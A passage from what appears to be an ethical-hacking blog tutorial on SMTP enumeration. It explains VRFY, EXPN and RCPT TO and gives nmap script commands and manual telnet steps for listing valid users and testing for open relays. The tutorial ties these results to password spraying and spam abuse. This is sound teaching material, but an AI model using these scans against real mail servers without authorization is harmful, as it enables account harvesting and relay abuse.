stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Mail systems commonly use SMTP with POP3 and IMAP, which enable users to save messages in the server mailbox and download them from the server when necessary. SMTP uses mail exchange (MX) servers to direct mail via DNS. </p><p>It runs on TCP port 25, 2525, or 587.</p><div><hr></div><h3><strong>How SMTP Works:</strong></h3><p>SMTP servers handle email transmission between clients and other mail servers. The protocol provides built-in commands (VRFY, EXPN, RCPT TO) that can be used to gather information about users and mail routing.</p><p>SMTP servers respond differently to these commands for valid and invalid users, allowing enumeration of valid accounts.</p><h3><strong>With SMTP, you can find:</strong></h3><ul><li><p><strong>List of valid users</strong> on the SMTP server</p></li><li><p><strong>Delivery addresses</strong> of aliases and mailing lists</p></li><li><p><strong>Message recipients</strong> and mail routing information</p></li><li><p>Open SMTP relays that can be abused for spam</p></li><li><p>Available SMTP commands and server capabilities</p></li><li><p>User account information for password spraying attacks</p></li></ul><p><em>SMTP enumeration enables attackers to obtain valid usernames which can then be used in password spraying attacks to gain unauthorized access.</em></p><div><hr></div><h3>SMTP Enumeration Process:</h3><p>The SMTP enumeration process leverages these built-in commands through a systematic approach that combines automated tools with manual verification. </p><p>The commands (VRFY, EXPN, RCPT TO) are integrated into the enumeration workflow as follows:</p><ol><li><p><strong>Initial Reconnaissance:</strong> First, identify active SMTP servers and determine which commands are supported, as server configurations vary significantly.</p></li><li><p><strong>User Enumeration Phase:</strong> Once available commands are confirmed, the enumeration process systematically tests usernames against the SMTP service. The VRFY command directly validates if a username exists, while EXPN reveals members of mailing lists and aliases. RCPT TO can also indicate valid recipients during the mail transaction process.</p></li><li><p><strong>Validation and Expansion:</strong> Valid usernames discovered through one command are cross-referenced using other available commands to build a comprehensive user list and understand mail routing configurations.</p></li></ol><h3>SMTP Built-in Commands</h3><p>SMTP provides several built-in commands that can be exploited for information gathering. These commands were designed for legitimate mail server operations but can reveal sensitive information about users and system configuration:</p><p><strong>VRFY (Verify) Command:</strong> The VRFY command verifies whether a specific email address or username exists on the mail server. It was originally designed to help administrators verify mail delivery paths and confirm user accounts.</p><pre><code>VRFY username</code></pre><p><strong>EXPN (Expand) Command:</strong> The EXPN command expands mailing lists and aliases to show their actual delivery addresses. This reveals not only if an alias exists but also the real email addresses behind group lists.</p><pre><code><code>EXPN mailinglist</code></code></pre><p><strong>RCPT TO (Recipient To) Command:</strong> The RCPT TO command specifies message recipients during the mail transaction process. While part of normal mail delivery, it can also indicate whether an address is valid when the server validates recipients before accepting mail.</p><pre><code><code>RCPT TO: username@domain.com</code></code></pre><h3>SMTP Enumeration with NMAP:</h3><p>Nmap provides convenient scripts that automate the process of sending these SMTP commands. The <code>smtp-enum-users</code> script uses VRFY, EXPN, and RCPT TO to discover valid usernames from a built-in wordlist of common usernames. </p><p>This script can also accept custom wordlists for more targeted enumeration, making it the first step in identifying accounts that could be targeted for further attacks like password spraying.</p><pre><code>nmap -p 25 --script=smtp-enum-users [Target IP Address]</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fM4P!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fM4P!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png 424w, https://substackcdn.com/image/fetch/$s_!fM4P!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png 848w, https://substackcdn.com/image/fetch/$s_!fM4P!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png 1272w, https://substackcdn.com/image/fetch/$s_!fM4P!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fM4P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png" width="1456" height="1107" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1107,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:705374,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fM4P!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png 424w, https://substackcdn.com/image/fetch/$s_!fM4P!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png 848w, https://substackcdn.com/image/fetch/$s_!fM4P!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png 1272w, https://substackcdn.com/image/fetch/$s_!fM4P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcdd45f83-d1b8-42d4-bc50-07c3df23122b_1746x1328.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After enumerating users, the next step is checking if the SMTP server can be used to relay emails externally. Open relays can be abused for sending spam or phishing emails. This step helps identify misconfigured servers that could pose a security risk.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tYAi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tYAi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png 424w, https://substackcdn.com/image/fetch/$s_!tYAi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png 848w, https://substackcdn.com/image/fetch/$s_!tYAi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png 1272w, https://substackcdn.com/image/fetch/$s_!tYAi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tYAi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png" width="1456" height="1246" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1246,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1042853,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!tYAi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png 424w, https://substackcdn.com/image/fetch/$s_!tYAi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png 848w, https://substackcdn.com/image/fetch/$s_!tYAi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png 1272w, https://substackcdn.com/image/fetch/$s_!tYAi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F589c8681-653b-4c50-a929-d93eb0cafda5_1828x1564.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code>nmap -p 25 --script=smtp-open-relay [Target IP Address]</code></pre><p>Not all commands are always available on every server. Some servers disable VRFY or EXPN for security reasons. </p><p>This script queries the server to list supported commands. Knowing which commands are allowed lets you plan enumeration carefully and avoid unnecessary errors. </p><p>It also reveals information about server capabilities like STARTTLS support, size limits, and authentication mechanisms. You can discover available commands using:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WQmb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WQmb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png 424w, https://substackcdn.com/image/fetch/$s_!WQmb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png 848w, https://substackcdn.com/image/fetch/$s_!WQmb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png 1272w, https://substackcdn.com/image/fetch/$s_!WQmb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WQmb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png" width="1456" height="508" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:508,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:754045,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WQmb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png 424w, https://substackcdn.com/image/fetch/$s_!WQmb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png 848w, https://substackcdn.com/image/fetch/$s_!WQmb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png 1272w, https://substackcdn.com/image/fetch/$s_!WQmb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73954329-5cec-4a0f-b683-7d4c8d2d26c4_2540x886.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><pre><code>nmap -p 25 --script=smtp-commands [Target IP Address]</code></pre><h3>Using SMTP Commands Manually:</h3><p>Manual enumeration provides more control and can bypass some automated detection mechanisms. Connect directly to the SMTP server using telnet or netcat:</p><pre><code><code>telnet [Target IP] 25</code></code></pre><p>Once connected, check which commands are available by using the EHLO command to get an extended greeting and list server capabilities:</p><pre><code>EHLO [domain or IP]</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!y_9i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!y_9i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png 424w, https://substackcdn.com/image/fetch/$s_!y_9i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png 848w, https://substackcdn.com/image/fetch/$s_!y_9i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png 1272w, https://substackcdn.com/image/fetch/$s_!y_9i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!y_9i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png" width="1456" height="761" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/eb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:761,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1316677,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!y_9i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png 424w, https://substackcdn.com/image/fetch/$s_!y_9i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png 848w, https://substackcdn.com/image/fetch/$s_!y_9i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png 1272w, https://substackcdn.com/image/fetch/$s_!y_9i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb821d7e-2eba-435d-9f30-ba1963faf98a_2522x1318.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3>SMTP Enumeration Tools:</h3><ol><li><p>Nmap</p></li><li><p>Metasploit</p></li><li><p>smtp-user-enum</p></li><li><p>NetScanTools Pro</p></li></ol><div><hr></div><h2>DNS Enumeration</h2><p><strong>DNS (Domain Name System)</strong> is like the internet&#8217;s phonebook. It translates human-friendly domain names (like google.com) into machine friendly IP addresses (like 142.250.72.72.206). </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DUF4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DUF4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!DUF4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!DUF4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!DUF4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DUF4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:61913,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DUF4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc53eae7-6a08-4208-9177-4a5df2299797_1500x500.jpeg 424w, 